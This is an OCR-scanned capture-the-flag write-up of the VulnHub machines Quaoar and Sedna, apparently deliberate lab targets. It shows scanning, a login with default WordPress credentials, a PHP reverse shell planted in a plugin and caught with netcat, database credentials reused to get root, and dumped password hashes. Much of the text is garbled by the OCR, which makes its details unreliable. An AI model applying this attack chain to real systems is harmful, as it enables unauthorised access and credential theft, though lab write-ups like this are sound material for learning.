hzZWiOAMpwQWSXZfx1915MiViPPNLVuOIPVZqc6PE79st2ZEWp7CEf2iKG35KSm39
xTyAQjVFpJXZtPTMRIsXel6mUZ0h2AHebgqGYnF19fx443ndgx2LHf c1+T9UTgk6
zSCmC8/kJcb2PXWvEEXJtabYi25JKGD8pOCDGWKw2Ly3cys18PTGqAei81d1Vp8=

| _ssl-date: 2019-09-18T21:15:08+00:00; +11s from scanner time.

995/tcp open ssl/pop3 syn-ack ttl 64 Dovecot pop3d

| _pop3-capabilities: SASL(PLAIN) TOP PIPELINING RESP-CODES USER UIDL CAPA

| ssl-cert: Subject: commonName=ubuntu/organizationName=Dovecot mail
o server/organizationalUnitName=ubuntu/emailAddress=root@ubuntu

| Issuer: commonName=ubuntu/organizationName=Dovecot mail
o server/organizationalUnitName=ubuntu/emailAddress=rootQubuntu

| Public Key type: rsa

| Public Key bits: 2048

| Signature Algorithm: shalWithRSAEncryption

| Not valid before: 2016-10-07T04:32:43

| Not valid after: 2026-10-07T04:32:43

| MD5: e242 d8cb 6557 1624 38af 0867 05e9 2677
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SHA-1: b5d0 537d 0850 11d0 e9cO fbl0 cal7 37c3 afl0 9382

MIIDizCCAnOgAwIBAgIJAPS80UPUA7rC3MAOGCSqGSIb3DQEBBQUAMFwxHDAaBgNV
BAoMEORvdmV jb3QgbWFpbCBzZXJ2ZXIxDzANBgNVBAsMBnVidW50dTEPMAOGA1UE
AwwGdWJ1bnR1MRowGAYJKoZTIhvcNAQkBFgtyb290QHVidW50dTAeFwOxNjEwMDcw
NDMyNDNaFwOyN jEwMDcwNDMyNDNaMFwxHDAaBgNVBAoMEORvdAmV jb3QgbWFpbCBz
ZXJ2ZXIxDzANBgNVBAsMBnVidW50dTEPMAOGA1UEAwwGAWJI1bnR1MRowGAY JKoZI
hvcNAQkBFgtyb290QHVidW50dTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAMx70vWQLwa6CLqojjvHuC2x70jPP+jIUFMdoN2H1J+G/LdSy60QVEenqgcqgs
S1HDFwmwDW2cCDC5tPaW2Qn5AI2Ts5TmSeNQTt1Rck1AQN+tF8aQpiJ6 jF jwMvbN
CIpbEWfvheLCpSw2yWWOMcERFsmbl0vdKo7KE/6fEvjdfYU1jJrVOLLgJFhgEWKX
ImSx/0VgMA/u8zX0mgaqVfa8Rrzs3aAS2HwWHS2TGo28Ay9vt4wul7SuTrxX51pfA
Xi5TP2V9aatrpUwjlpGDolg/VptGP1Q3YRwgbZu3WWws11YoZXc0gYfYkJFR4gUs
dwTZGGpSKb1by5VTLvXaUvB5iBOCAWEAAaNQME4wHQYDVROOBBYEFOnF9 j£UGBWq
IM6SV51Pz3s6gn1cMB8GA1UdIwQYMBaAFOnF9jfUGBWqIM6SV51Pz3s6gnlcMAwG
A1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAGOOkadSFS1V9IqgonA3dYYi
GisZQtrmXM8mHNMWYf5Ym3gRDurQHASxYZthcc4DCF/YoxU8aerer71TRSch
wgqbYcssNTtpZnhC6AExZBULZ56ZQSTy4//CZal0wgCxdevE+K+UtkOuNGdhOREQ
hzZWiOAMpwQWSXZ£fx1915MiViPPNLVuOIPVZqc6PE79st2ZEWp7CE2iKG35KSm39
xTyAQjVFpJXZtPTMRIsXel6mUZOh2AHebgqGYnF19fx443ndgx2LHf c1+T9UTgk6
zSCmC8/kJcb2PXWvEEXJtabYi25JKGD8pOCDGWKw2Ly3cys18PTGqAei81d1Vp8=

ssl-date: 2019-09-18T21:15:08+00:00; +11s from scanner time.

MAC Address: 00:0C:29:00:BD:18 (VMware)

Se

Ho
l_
|
|

rvice Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

st script results:
clock-skew: mean: 40m10s, deviation: 1h37mb8s, median: 10s

nbstat: NetBIOS name: QUAOAR, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

Names:
QUAQOAR<00> Flags: <unique><active>
QUAOAR<03> Flags: <unique><active>
QUADOAR<20> Flags: <unique><active>
\x01\x02__MSBROWSE__\x02<01> Flags: <group><active>
WORKGROUP<1d> Flags: <unique><active>
WORKGROUP<1e> Flags: <group><active>
WORKGROUP<00> Flags: <group><active>

Statistics:

00 00 00 00 00 00 00 00 00 00 OO 00 00 00 00 00 00

00 00 00 00 00 0O 00 00 00 00 OO OO 00 00 00 00 00

00 00 00 00 00 OO 00 00 00 00 00 0O 00 00
p2p-conficker:

Checking for Conficker.C or higher...

Check 1 (port 24536/tcp): CLEAN (Couldn't connect)

Check 2 (port 22368/tcp): CLEAN (Couldn't connect)

Check 3 (port 31858/udp): CLEAN (Timeout)

Check 4 (port 65163/udp): CLEAN (Timeout)

0/4 checks are positive: Host is CLEAN or ports are blocked
smb-os-discovery:

0S: Unix (Samba 3.6.3)

NetBIOS computer name:

Workgroup: WORKGROUP\x00

System time: 2019-09-18T17:15:08-04:00
smb-security-mode:

account_used: guest

authentication_level: user



103 | challenge_response: supported

| _ message_signing: disabled (dangerous, but default)

105 | _smb2-security-mode: Couldn't establish a SMBv2 connection.
I

_smb2-time: Protocol negotiation failed (SMB2)

194
196

19s Read data files from: /usr/bin/../share/nmap
199 Service detection performed. Please report any incorrect results at https://nmap.org/submit/
200 # Nmap done at Wed Sep 18 14:15:08 2019 -- 1 IP address (1 host up) scanned in 23.69 seconds

2. Here’s the summary of open ports and associated AutoRecon scan files:

» openports

# Port Protocol Service Scans

1. 22/tep ssh ttl 64 OpenSSH 5.9p1 Debian Subuntul (Ubuntu Linux protocol 2.0) ./results/192.168.92.175/scans/tcp_22_ssh_nmap.txt

2. 3/tcy domai ttl 64 ISC BIND 9.8.1-P1 sults/192.168.92.175/scans/tcp_53_dns_nmap. tx

3.

4. 118/tcp  pop3 ttl 64 Dovecot pop3d ./results/192.168.92.175/scans/tcp_110_pop3_nmap.txt
./results/192.168.92.175/scans/enum4linux. txt

5. 137/udp  netbios-ns ttl 64 Microsoft Windows netbios-ns (workgroup: WORKGROUP) ./results/192.168.92.175/scans/nbtscan.txt
./results/192.168.92.175/scans/udp_137_smb_nmap.txt
/1 5/scans/enum4linux. txt

6. 139/tcp netbios-ssn ttl 64 Samba smbd 3.X - 4.X (workgroup: WORKGROUP) /s /smbcl t.txt

results/192.168.92.175/scans/tep_1 mb_nmap. txt

. 143/tcp  imap ttl 64 Dovecot imapd ./results/192.168.92.175/scans/tep_143_imap_nmap.txt
1lts/1 2 cans t

8. W4S/tcp  ne

Samba smbd 3.6.3 (workgroup: WORKGROUP

10. 995/tcp  ssl/pop3 ttl 64 Dovecot pop3d ./results/192.168.92.175/scans/tcp_995_pop3_nmap.txt
./results/192.168.92.175/scans/tcp_995_sslscan.txt

Figure 3: writeup.enumeration.steps.2.1

3. Upon checking robots.txt file we find a wordpress entry:

1 HTTP/1.1 200 OK

2 Date: Wed, 18 Sep 2019 21:24:15 GMT
s Server: Apache/2.2.22 (Ubuntu)

4+ Last-Modified: Mon, 24 Oct 2016 06:56:49 GMT
s ETag: "24bac-10f-53f96e55d4191"

6 Accept-Ranges: bytes

7 Content-Length: 271

s Vary: Accept-Encoding

o Content-Type: text/plain

10 X-Pad: avoid browser bug

11

12 Disallow: Hackers

13 Allow: /wordpress/

s # / __ \_ o o
w #// /701 1/_"l/_\N/_" 1 '"__l
w o #/\_/ /1 0_ 1 CC) o Chl
s #\___, N\, N\ N\,


https://github.com/Tib3rius/AutoRecon

1

2

192.168.92.175/robots.txt = X | +

& > {4 | @ 192.168.92.175/robots. txt
B3 links

Disallow: Hackers
Allow: fwordpress/

Figure 4: writeup.enumeration.steps.3.1

4. We run wpscan to enumerate users and find 2 hits:

admin
wpuser
[+] Enumerating usernames ...
[+] We identified the following 2 users:
(SR e e T +
| ID | Login | MName |
e i b e e e +
| 1 | admin | admin |
| 2 | wpuser | wpuser |
T —— dmm - +
Default first WordPress username 'admin' is still used
{+] Finished: Wed Sep 18 15:86:11 2019
[+] Elapsed time: 00:00:56
[+] Requests made: 5849
[+] Memory used: 66.645 MB
root@kali: ~/toolbox/data/writeups/vulnhub.quaoar #
Figure 5: writeup.enumeration.steps.4.1
Findings
Open Ports
22/tcp | ssh | OpenSSH 5.9pl1 Debian 5Subuntul (Ubuntu Linux; protocol 2.0)
53/tcp | domain | ISC BIND 9.8.1-P1
80/tcp | http | Apache httpd 2.2.22 ((Ubuntu))
110/tcp | pop3 | Dovecot pop3d
137/udp | netbios-ns? |
139/tcp | mnetbios-ssn | Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp | imap | Dovecot imapd
445/tcp | netbios-ssn | Samba smbd 3.6.3 (workgroup: WORKGROUP)
993/tcp | ssl/imap | Dovecot imapd
995/tcp | ssl/pop3 |  Dovecot pop3d



Files
http://192.168.92.175/robots.txt

Users

wordpress: admin, wpuser



1

Phase #2: Exploitation

1. We tried the default credentials admin/admin and got administrative access to the Wordpress installation:

Dashboard ¢ Quaoar — Worc' X | LEPTON CMS 2series - helle X | =+
< @ | ® 192.168.92.175vordpress/wp-adm
Btinks

o 4P R e | CINE D@ » =

WordPress 5.2.3 is available! Please update now.

Dashboard

me to WordP
wsh

sled some lir

Dismiss

Figure 6: writeup.exploitation.steps.1.1

2. We then edit the Hello Dolly plugin file hello.php, add a PHP reverse shell to it and activate the plugin while
running a netcat listener to catch incoming shell:

nc -nlvp 9999

10



LEPTON CMS 2series - hellc % | Plugins « Quaoar — WordPre X | +

&= @ @© 192.168.92.175/wordpress
£ links
@& Quagar &4 B -+ New

dmin/plugins.php

y Dashboard
WordPress 5.2.3 is available! Please update now.

Plugins Addnew

All | Active | Inactive{Z) | Recently Actlve
Comments Bulk Actions j Apply
pearance | Plugin Description
Plugins : Akismet Used by millions, Akismet is quite possibly the best way in the world to prote

Activate Edit  Delete  this description, 2) Sign up for an Akismet API key, and 3) Go to your Akismet

Instalied Plugins

Version 3.0.1 | By Automattic | Visit plugin site

Hella Doll This is not just a plugin, it symbolizes the hope and enthusiasm of an entire g
Edit Delete right of your admin screen on every page.
Version 1.6 | By Matt Mullenweg | Visit plugin site

¥ Tools
Mail Masta Mail Masta is email marketing plugin for Wordpress.

Settin R _ _
- ' Deactivate  Edit Version 1.0 | By Mail Masta

Mall Masta

o Col

Plugin Description

Bulk Actions j Apply

Figure 7: writeup.exploitation.steps.2.1
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root@kali: ~/toolbox/data/writeups/vulnhub.quaoar # nc -nlvp 9999
listening on [any] 9999 ...
connect to [192.168.92.163] from (UNKNOWN) [192.168.92.175] 42776
Linux Quaoar 3.2.8-23-generic-pae #36-Ubuntu SMP Tue Apr 10 22:19:09 UTC 2012 1686 1686 1386 GNU/Linux
18:35:52 up 1:23, © users, load average: 0.23, 2.26, 3.29
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 8: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
$ uname -a
Linux Quacar 3.2.0-23-generic-pae #36-Ubuntu SMP Tue Apr 1@ 22:19:89 UTC 2012 1686 1686 1386 GNU/Linux
$
$ ifconfig
/bin/sh: 5: ifconfig: not found
$
$ ip addr
1: lo: <LOOPBACK,UP,LOWER UP> mtu 16436 gdisc noqueue state UNKNOWN
link/loopback 00:00:00:00:00:00 brd P0:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host
valid 1ft forever preferred 1ft forever
2: eth®: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 1560 gqdisc pfifo fast state UP gqlen 180@
link/ether 00:0c:29:00:bd:18 brd fTf:ff:ff:ff:ff:ff
inet 192.168.92.175/24 brd 192.168.92.255 scope global etho
inet6 TeB0::20c:29fT:Tef@0:bd18/64 scope link
valid 1ft forever preferred 1ft forever
3: virbr®: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 gdisc noqueue state DOWN
link/ether Be:2b:33:T7:8b:ad brd ff:ff:ff:ff:ff:ff
inet 192.168.122.1/24 brd 192.168.122.255 scope global virbre

Figure 8: writeup.exploitation.steps.2.2

Phase #2.5: Post Exploitation

www—dataCQuaoar> id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

www—data@Quaoar>

www—data@Quaoar> uname

Linux Quaoar 3.2.0-23-generic-pae #36-Ubuntu SMP Tue Apr 10 22:19:09 UIC 2012 1686 1686 1386

 GNU/Linux

www—data@Quaoar>

www-dataCQuaoar> ifconfig

ethO: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 gqdisc pfifo_fast state UP glen 1000
link/ether 00:0c:29:00:bd:18 brd ff:ff:ff:ff:ff:ff
inet 192.168.92.175/24 brd 192.168.92.255 scope global ethO
inet6 fe80::20c:29ff:fe00:bd18/64 scope link

12
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valid_l1ft forever preferred_lft forever

www—data@Quaoar>
www—data@Quaoar> users
wpadmin

12



Phase #3: Privilege Escalation
1. While exploring home directory for user wpadmin we find a flag.txt file:
1 cat /home/wpadmin/flag.txt

www-data@Quaoar:/$ cd /home/wpadmin/
www-data@Quaoar: /home/wpadmin$
www-data@Quaoar: /home/wpadmin$

www-data@Quaoar: /home/wpadmin$ 1ls -la
total 12
drwxr-xr-x 2 root root 4096 0ct 22 2016

drwxr-xr-x 3 root root 4096 Oct 24 2016
-rw-r--r-- 1 wpadmin wpadmin 33 0Oct 22 2016 flag.txt
www-data@Quaoar: fhome/wpadmin

www-data@Quaoar: /home/wpadmin$

www-data@Quaoar: /home/wpadmin$

www-data@Quaoar: /home/wpadmin$ cat flag.txt
ZbafeblfB3117ac66a73c3c514de796e

www-data@Quaoar: /home/wpadmin$

Figure 9: writeup.privesc.steps.1.1

2. While exploring the /var/www/wordpress directory we find wp-config.php file with MySQL credentials in it:

1 cat /var/www/wordpress/wp-config.php - root/rootpassword!

13



wpadmin@Quaocar: /var/www/wordpress$ pwd

/var/waw/wordpress

wpadmin@Quaocar: /var/www/wordpresss

wpadmin@Quaoar: /var/www/wordpress$ head -n25 wp-config.php

<?7php

,u"'**

* The base configurations of the WordPress.

E

*¥ This file has the following configurations: MySQL settings, Table Prefix,

* Secret Keys, WordPress Language, and ABSPATH. You can fTind more information

* by wvisiting {@link http://codex.wordpress.org/Editing wp-config.php Editing
* wp-config.php} Codex page. You can get the MySQL settings from your web host.
+

* This file is used by the wp-config.php creation script during the

* installation. You don't have to use the web site, you can just copy this file
* fo "wp-config.php" and fill in the values.

*

* @package WordPress

¥/

/7 ** MySOL settings - You can get this info from your web host ** //
/*% The name of the database for WordPress =/
define('DB NAME', 'wordpress');

/** MySQL database username */
define('DB USER', 'reoot');

/*¥* MysQL database password */
define('DB PASSWORD', 'rootpassword!');
wpadmin@Quaoar: /var/www/wordpresss$

Figure 10: writeup.privesc.steps.2.1

3. We test these credentials to gain root privleges and are successfully given access:

1 su

14



wpadmin@Quacar:/tmp$ su
Password:
root@Quaoar: /tmp# id
uid=8(root) gid=8(root) groups=0(root)
root@Quaoar: /tmp#
root@Quaoar:/tmp# uname -a
Linux Quaoar 3.2.0-23-generic-pae #36-Ubuntu SMP Tue Apr 10 22:19:09 UTC 2012 i686 1686 1386 GNU/Linux
root@Quaoar:/tmp#
root@Quaoar: /tmp# ifconfig
etho Link encap:Ethernet HWaddr 080:0c:29:008:bd:18
inet addr:192.1658.92.175 Bcast:192.168.92.255 Mask:255.255.255.0
ineté addr: fe80::20c:29ff:Te@B0:bd18/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:15080 Metric:1
RX packets:717947 errors:0 dropped:@ overruns:0@ frame:0
TX packets:682113 errors:0 dropped:0 overruns:8 carrier:e
collisions:® txqueuelen:10080
RX bytes:99707351 (99.7 MB) TX bytes:284115457 (284.1 MB)
Interrupt:19 Base address:0x2024

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:1767 errors:0 dropped:® overruns:@ frame:@
TX packets:1767 errors:0 dropped:0 overruns:® carrier:0
collisions:0 txqueuelen:@
RX bytes:380741 (380.7 KB) TX bytes:380741 (380.7 KB)

virbre Link encap:Ethernet HWaddr @e:2b:33:f7:8b:ad
inet addr:192.168.122.1 Bcast:192.168.122.255 Mask:255.255.255.0
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:@ overruns:0@ frame:@
TX packets:0 errors:0 dropped:® overruns:0 carrier:0
collisions:@ txqueuelen:@
RX bytes:0 (8.0 B) TX bytes:0 (0.8 B)

root@Quaoar: /tmp#

Figure 11: writeup.privesc.steps.3.1

4. We then read the /root/flag.txt file to complete the challenge:

1 cat /root/flag.txt

rootéﬂuanar:m# cat /root/flag.txt
Be3f9ecBl6e3598c5eecllfd3d73feth
root@Quaoar:~#

Figure 12: writeup.privesc.steps.4.1
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Loot

Hashes
root:$6$CM3C1ch$HbQWZleGEWV8yo3j7M84i1/J
< RFK4G7fafTUIUYLWk52zm908KRLhqZenF8KbgqsUjH1ZQk4VmNEEEbBCRj .. ... .. cvviiiiiii. ..

wpadmin:$6$FtTN/YPC$iidNFmRVpQ1p2kkfo0Z60zNPqRO5DQ/7G10aze2CA2W3ik/sHHyEPaNNY57tMvRDUO/ |
< Rs62FEimiKXD2V........................

Credentials

ssh: wpadmin/wpad..., root/rootpassw....
wordpress: admin/ad...

Flags
2bafe61f03117ac66a73c3chbl.......
8e3f9%ec016e3598cbeec11fd3.......

References

[+] https://www.valnhub.com/entry /hackfest2016-quaoar,180/
[+] https://www.blackroomsec.com/quaoar-write-up/
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[VulnHub] hackfest2016: Sedna

Date: 19/Sep/2019

Categories: oscp, vulnhub, linux
Tags: exploit_ php_ fileupload, exploit_ php_ reverseshell, privesc_ chkrootkit, privesc_ cron, privesc_ bash_ reverseshell

Overview
This is a writeup for VulnHub VM hackfest2016: Sedna. Here are stats for this machine from machinescli:

machinescli -t --info sedna

# ID

Name Rating Difficulty 0S5 0SCPlike Owned

TTPs

é privesc_chkrootkit
privesc_cron
privesc_bash_reverseshell

1. vulnhub#181 hackfest2016: Sedna

Figure 1: writeup.overview.machinescli

Killchain

Here’s the killchain (enumeration — exploitation — privilege escalation) for this machine:


https://www.vulnhub.com/entry/hackfest2016-sedna,181/
https://github.com/7h3rAm/writeups/search?q=oscp&unscoped_q=oscp
https://github.com/7h3rAm/writeups/search?q=vulnhub&unscoped_q=vulnhub
https://github.com/7h3rAm/writeups/search?q=linux&unscoped_q=linux
https://github.com/7h3rAm/writeups/search?q=exploit_php_fileupload&unscoped_q=exploit_php_fileupload
https://github.com/7h3rAm/writeups/search?q=exploit_php_reverseshell&unscoped_q=exploit_php_reverseshell
https://github.com/7h3rAm/writeups/search?q=privesc_chkrootkit&unscoped_q=privesc_chkrootkit
https://github.com/7h3rAm/writeups/search?q=privesc_cron&unscoped_q=privesc_cron
https://github.com/7h3rAm/writeups/search?q=privesc_bash_reverseshell&unscoped_q=privesc_bash_reverseshell
https://www.vulnhub.com/entry/hackfest2016-sedna,181/
https://github.com/7h3rAm/machinescli

[VulnHub] hackfest2018: Sedna

192.168.92.176
Y
Phase #1: Enumeration|

; ¥ . ¥ . ¥ . ¥ ; ¥ ; ¥ ; L —Y ¥ ¥ —_— Y —_—
110/tcp 111/tcp 137 /udp 139/tcp 143/tcp 445/tcp 993/tcp 995/tcp | 8080/tcp | | 40176/ tcp 22/tcp 53/tcp 80/tcp

‘ nikto|(
‘ http://192.168.92.176/license. txt |

Y
Copyright (c) 2012 - 2015 BuilderEngine / Radian Enterprise Systems Limited.

Phase #2: Exploitation

¥

searchsploit -+ edb:40390

php reverse shell file upload

¥

netcat (www-data)

Y
Phase #3: Privilege Escalation

Y
| /var/www/flag. txt ‘

Y
/etc/chkrootkit/chkrootkit

Y

| searchsploit - edb:33899 |

Y
‘ cronjob - /'tmp/upda'te|

L 4

‘ netcat (root) ‘

Y
/root/flag. txt

Y
| /etc/tomcat7/tomcat-users.xml |

Figure 2: writeup.overview.killchain

TTPs

1. 80/tcp/http/Apache httpd 2.4.7 ((Ubuntu)):
privesc__chkrootkit, privesc_ cron, privesc_ bash_ reverseshell

exploit_ php_ fileupload, exploit_ php_ reverseshell,


https://github.com/7h3rAm/writeups#exploit_php_fileupload
https://github.com/7h3rAm/writeups#exploit_php_reverseshell
https://github.com/7h3rAm/writeups#privesc_chkrootkit
https://github.com/7h3rAm/writeups#privesc_cron
https://github.com/7h3rAm/writeups#privesc_bash_reverseshell
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Phase #1: Enumeration
1. Here’s the Nmap scan result:

# Nmap 7.70 scan initiated Wed Sep 18 18:02:06 2019 as: mmap —-vv —--reason —Pn -sV -sC
» ——version-all —olN
s /root/toolbox/writeups/vulnhub.sedna/results/192.168.92.176/scans/_quick_tcp_nmap.txt -oX
s /root/toolboz/writeups/vulnhub.sedna/results/192.168.92.176/scans/xzml/_quick_tcp_nmap.zml
o 192.168.92.176

Nmap scan report for 192.168.92.176

Host is up, received arp-response (0.0036s latency).

Scanned at 2019-09-18 18:02:07 PDT for 27s

Not shown: 989 closed ports

Reason: 989 resets

PORT STATE SERVICE REASON VERSION

22/tcp open ssh syn-ack ttl 64 OpenSSH 6.6.1pl Ubuntu 2ubuntu2 (Ubuntu Linux;
< protocol 2.0)

| ssh-hostkey:

| 1024 aa:c3:9e:80:b4:81:15:dd:60:d5:08:ba:3f:e0:af:08 (DSA)

| ssh-dss AAAAB3NzaClkc3MAAACBAMicg98pQuoQKbqtp4SrKqiCeUCdVMojzPj9TQMIETIkvcGzMqEFSweayAKO/ |
< 9ZbCVimzghU+xt9v42cVYTbuGrLDDTE+Z6cZ2nmTSVO2EgDeRMuR(3E3Gy90Z6QhFMFetPhDe3ut+
o KQMO9RUFZJgVCkYiaiKYypHL+gXLthVGBAAAAFQCXVSbJP8R9XC8H5k/PuUthUt+J
< dQAAATEAjc1DqWZRqhQPIOxth5arD/nhvkFFCEXHWwFh40JQq82I1NKPpInrii7ihF50c1LAsBkI6z/25sw+Hd3+
< vHz/KMWheh8Z820iAm0dwO0F4KnGQVW8Ze5XoappS3+0F0J8mk1StxS8pJzh7/al+
< kb5S4ehRw8InS9f1Vxhyiv2Znw8AAACAN jDSTA+fEWlpnbK5wE1pzJUHc7KyhtS+6+fqR+Q1JKTuc3YblducvdbhXo8
= /cGInN1gFGlanlNua6Dp2KzjridXEmXVOyZHfXZKNyCjd1vhKdMz/ |
< V3sPlYwtPpIVBS711g43henKx70snmYG30m30pVNQXdHbUmQfrMOrGOvZNk=

| 2048 41:7f:c2:5d:d5:3a:68:e4:¢5:d9:¢cc:60:06:76:93:a5 (RSA)

| ssh-rsa AAAAB3NzaClyc2EAAAADAQABAAABAQCfmGW1J/5I0AIbOADO8VSEWWADgO/ |
< 0iZwdFMDmA8yEtHCEvasNfZLnnW4eByrCANMnLGC61GbbY288mOuP/cISt2cEGo1H8p9nwV1pKUc+aAJzkMiBSCOA/ |
= 0C509Pgm7M7Bb1rVykpUQmg/DZp6xEEKM1I0LIvE3uKspilqkSEFAD6VPKAGy5wPXHosuBkvXrUgo+
= drp09pT21qXt8tbNrao2DxHRwkFge/QtfPN319CNMMRy j/st0wj+
< v1DxUfmMDzvAJcEQMC14B29WEkdfwbLzhbSvcpzIIZObiNA+E4YMrtLOI1FO/kDNO65IJRXPYE0JicM+ |
< ThkFdzSOuhREp

| 256 ef:2d:65:85:£8:3a:85:¢2:33:0b:7d:£9:¢8:92:22:03 (ECDSA)

| ecdsa-sha2-nistp256
= AAAAE2VjZHNhLXNoYTItbmlzdHAYNTYAAAATbm1zdHAYNTYAAABBBFOOuNYcmh11nKX153anHYpGEM/ |
o udK7ham2WOPhuvyZJOUYF/rxlas7KMo+UWZimVAedAUQYy5iq7nJ1NjQpxQu=

| 256 ca:36:3c:32:e6:24:£9:b7:b4:d4:1d:fc:c0:da:10:96 (ED25519)

| _ssh-ed25519 AAAAC3NzaC11ZDIINTESAAAAIC2Tab8Mt8xF jZKPwPpXzg2x6a6WhRaW0JCzb+10rrbE

53/tcp open domain syn-ack ttl 64 ISC BIND 9.9.5-3 (Ubuntu Linux)
| dns-nsid:

| _ bind.version: 9.9.5-3-Ubuntu

80/tcp open http syn-ack ttl 64 Apache httpd 2.4.7 ((Ubuntu))

| http-methods:
| _ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry
| _Hackers
| _http-server-header: Apache/2.4.7 (Ubuntu)
| _http-title: Site doesn't have a title (text/html).
110/tcp open pop3 syn-ack ttl 64 Dovecot pop3d
| _pop3-capabilities: SASL PIPELINING STLS AUTH-RESP-CODE RESP-CODES TOP CAPA UIDL
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail
o server/emailAddress=root@localhost/organizationalUnitName=localhost
| Issuer: commonName=localhost/organizationName=Dovecot mail
o server/emailAddress=root@localhost/organizationalUnitName=localhost
| Public Key type: rsa
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Public Key bits: 2048

Signature Algorithm: sha256WithRSAEncryption

Not valid before: 2016-10-07T19:17:14

Not valid after: 2026-10-07T19:17:14

MD5:  a32c 1b8e 97f3 210f d238 ba3d ac4b5 74f7

SHA-1: Ob7b 4229 b7af 8f89 db533 2ecf 5alf f652 a015 0295

MIIDnTCCAoWgAwIBAgIJAOPieD18C1zLMAOGCSqGSIb3DQEBCwUAMGUxHDAaBgNV
BAoMEORvdmVjb3QgbWFpbCBzZXJ2ZXIxEjAQBgNVBAsMCWxvY2FsaG9zdDESMBAG
A1UEAwwJbG9jYWxob3NOMROWGWYJKoZThvcNAQkBFgbyb290QGxvY2FsaG9zdDAe
FwOxNjEwMDcx0TE3MTRaFwOyNjEwMDcx0TE3MTRaMGUxHDAaBgNVBAoMEORvdmYV j
b3QgbWFpbCBzZXJ2ZXIxE]jAQBgNVBAsMCWxvY2FsaG9zdDESMBAGA1UEAwwJbG9j
YWxob3NOMROwWGWY JKoZIhvcNAQkBFgbyb290QGxvY2FsaG9zdDCCASIwDQY JKoZI
hvcNAQEBBQADggEPADCCAQoCggEBANgEPrhbMnoofhkznlgq/qhMB/PykOQMB+Ec
MI3eQIsBxtkrOLnrTOwoZ9R2S6MAFNkXEiZANkgFpNeseIHVPgL4UygvophgEL1t
GUa9XzQR1qUEvbZxo012/EA4UxRBcqR6kcNhfKZoxbY6mkRGwci2LGo2fuh6oY1+n
K5Fisu6pVMVD+2Yv7DXNIHDQYVKyicqFeHUoCxA4r6Cf1EFEQbVEtwQLTI7WMEmb
vhHPVrWaRDaVL8BrQUGZ0SqQeCMGzDb7FKTCuovuA91gbQVvS4aYgZ5351uPEouP
dQSP4M9+/0i5EUNhI7rrAwHQTf ooufDb5dcUKSkmepxQQ j/smBsCAWEAAaNQME4w
HQYDVROOBBYEFCQ1pdBP6Hsgf0S j4Ja0/CLORgt4MB8GA1UdIwQYMBaAFCQ1pdBP
6Hsgf0Sj4Ja0/CLI9Rgt4MAWGA1UJEWQFMAMBAf8wDQY JKoZIhvcNAQELBQADggEB
ACFvU3t31scCHV3KHEGt3gN+5sADA9KsOn6abSRuwHg jCPtUMUzINeGKPBES/yNL
R7Z19bQUj2TSEauenIxGDamCzGNzwpdeyNSPT8Ce6NE+Gv4xarAQlpzgl+c1CUZP
TKQ1rNZ1MYAJMJINebn2zXNPY+04X0Foda8RzCKHB5c/ErPfQbgxsriWjoZuNY2/pf
BCab1I91ExaHiIRMj0OUNsXae9kZIyFkh2HghKN+/b/fGoYClwOv6U/BFeEAtCwen
FO0sUuo8V8xwlxGotA/swaAznhE481bXX5sKSjr19W/EIxPNUueg9Sx4uEBfAEFo
W+4SE1VrFEDdGPE+HYeeBHY=

ssl-date: ERROR: Script execution failed (use -d to debug)

111/tcp open rpcbind syn-ack ttl 64 2-4 (RPC #100000)

| rpcinfo:

| program version port/proto service

| 100000 2,3,4 111/tcp rpcbind

| 100000 2,3,4 111/udp rpcbind

| 100024 1 40176/tcp status

|_ 100024 1 40863/udp status

139/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open imap syn-ack ttl 64 Dovecot imapd (Ubuntu)

imap-capabilities: ENABLE Pre-login more IDLE listed capabilities IMAP4revl post-login

- LOGIN-REFERRALS ID OK STARTTLS SASL-IR have LITERAL+ LOGINDISABLEDAOOO1
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail

o server/emailAddress=root@localhost/organizationalUnitName=1localhost

| Issuer: commonName=localhost/organizationName=Dovecot mail

o server/emailAddress=root@localhost/organizationalUnitName=localhost
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Public Key type: rsa

Public Key bits: 2048

Signature Algorithm: sha256WithRSAEncryption

Not valid before: 2016-10-07T19:17:14

Not valid after: 2026-10-07T19:17:14

MD5: a32c 1b8e 97£3 210f d238 ba3d acdb 74f7

SHA-1: Ob7b 4229 b7af 8f89 d533 2ecf b5alf £652 a015 0295

MIIDnTCCAoWgAwIBAgIJAOPieD18C1zLMAOGCSqGSIb3DQEBCwUAMGUxHDAaBgNV
BAoMEORvdmV jb3QgbWFpbCBzZXJ2ZXIxEjAQBgNVBAsMCWxvY2FsaG9zdDESMBAG
A1UEAwwJbGY jYWxob3NOMROWGWY JKoZThvcNAQkBFgbyb290QGxvY2FsaG9zdDAe
FwOxNjEwMDcxOTE3MTRaFwOyN jEwMDcx0TE3MTRaMGUxHDAaBgNVBAoMEORvAmV j



b3QgbWFpbCBzZXJ2ZXIxE]jAQBgNVBAsMCWxvY2FsaG9zdDESMBAGA1UEAwwJbG9j
YWxob3NOMROwWGwWY JKoZIhvcNAQkBFgbyb290QGxvY2FsaG9zdDCCASIwDQYJKoZI
hvcNAQEBBQADggEPADCCAQoCggEBANgEPrhbMnoofhkznlgq/qhMB/PykOQMB+Ec
